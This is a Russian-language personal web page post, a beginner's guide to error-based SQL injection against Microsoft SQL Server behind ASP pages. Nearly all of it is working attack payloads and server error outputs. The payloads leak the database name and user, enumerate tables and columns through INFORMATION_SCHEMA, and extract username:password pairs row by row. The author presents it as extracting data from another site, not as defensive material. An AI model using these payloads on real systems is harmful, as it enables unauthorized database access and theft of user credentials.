Домашняя страница Ерёмина Антона (frenzon)

 

Проведение mssql injection.

Простенький гуид для новичков.



Начнем с вывода ошибок.

Вывод ошибок.

http://www.lala.ry/news.asp?news=1'
Ковычку подставляем для вывявления ошибки

Код ошибки:

Microsoft OLE DB Provider for SQL Server ошибка '80040e14'

Unclosed quotation mark before the character string ''.

/inc/sql.inc, line 22


для проверки на иньекцию нужно использовть запрост

1+or+1=@@version-- - Версия
1+or+1=(select db_name())-- - Имя Базы Данных текущего юзера.
1+or+1=(select system_user)-- - Имя юзера владельца данной базой.


В нашем случае запрос будет выглядеть вот так
http://www.lala.ry/news.asp?news=1+or+1=(select%20system_user)--

Код:

Microsoft OLE DB Provider for SQL Server ошибка '80040e07'

Syntax error converting the nvarchar value 'baser192' to a column of data type int.

/inc/sql.inc, line 22


где baser192 имя Базы Данных текущего юзера.

Поиск таблиц и колонок.


В mssql есть база данных в которой хранится информация о всех таблицах и колонках во всех бд данного сервера название ей INFORMATION_SCHEMA. Интересуют нас в ней 2 таблицы TABLES и COLUMNS. И так составим запрос:
1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--

Запрос будет такой.

http://www.lala.ry/news.asp?news=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+IN FORMATION_SCHEMA.TABLES)--

В ответ мы получим:
Код:

Microsoft OLE DB Provider for SQL Server ошибка '80040e07'

Syntax error converting the nvarchar value 'bankdel' to a column of data type int.

/inc/sql.inc, line 22


Где bankdel одна из таблиц. Найдем интересующую нас таблицу методом перебора через NOT IN

http://www.lala.ru/news.asp?news_id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('bankdel'))--

Получаем ошибку:
Код:

Microsoft OLE DB Provider for SQL Server ошибка '80040e07'

Syntax error converting the nvarchar value 'bankseek' to a column of data type int.

/inc/sql.inc, line 22



Где bankseek имя второй таблицы. Далее, перебираем до той таблицы которая нам будет нужна. Дальнейший перебор осуществляется так:

http://www.lala.ru/news.asp?news_id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('bankdel','bankseek','и т.д.'))--

Теперь когда мы нашли нужную таблицу надо узнать ее колонки что бы реализовать вывод данных для этого используем похожий запрос

1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_ SCHEMA.COLUMNS+WHERE+TABLE_NAME='bankdel'+AND+COLUMN_NAME+NOT+IN+('1','2','и т.д.'))--

Вывод данных.


После того как мы узнали структуру базы данных приступим к выводу данных. Для примера я возьму иньекцию на другом сайте и выведу оттуда что нибудь
меня заинтересовали данные колонки:
Код:

user Password


Приступим к составлению запроса для начала выведем 1 из значений.

http://www.lala.ru/news.asp?news_id=1+or+1=(SELECT+TOP+1+user+from+pass)--

Код:

Microsoft OLE DB Provider for SQL Server ошибка '80040e07'

Syntax error converting the nvarchar value 'baser192' to a column of data type int.

/inc/sql.inc, line 22


Попробуем вывести все данные которые нас интересуют в 1 запросе, для этого составляем запрос

http://www.lala.ru/news.asp?news_id=1+or+1=(SELECT+TOP+1+cast(user+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+%20nvarchar)+from+pass)--

Код:

Microsoft OLE DB Provider for SQL Server ошибка '80040e07'

Syntax error converting the nvarchar value 'baser192:12345 ' to a column of data type int.

/inc/sql.inc, line 22


Отлично, вот и получили юзера и пароль... но это только 1 строка из всей. Сможем ли мы посмотреть другие для этого используем простой запрос where:

http://www.lala.ru/news.asp?news_id=1+or+1=(SELECT+TOP+1+cast(user+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+from+pass+where+ID=3)--

Мы получили совсем другую строку, ту в которой ID=3 так мы можем вывести остальных юзеров юзеров.

Вот вроде и все что я хотел вам рассказать
Опубликовал: MEGAHERTZ (04:12, 16 Sep '07)


Создан 23 янв 2008



  Комментарии       
Имя или Email


При указании email на него будут отправляться ответы
Как имя будет использована первая часть email до @
Сам email нигде не отображается!
Зарегистрируйтесь, чтобы писать под своим ником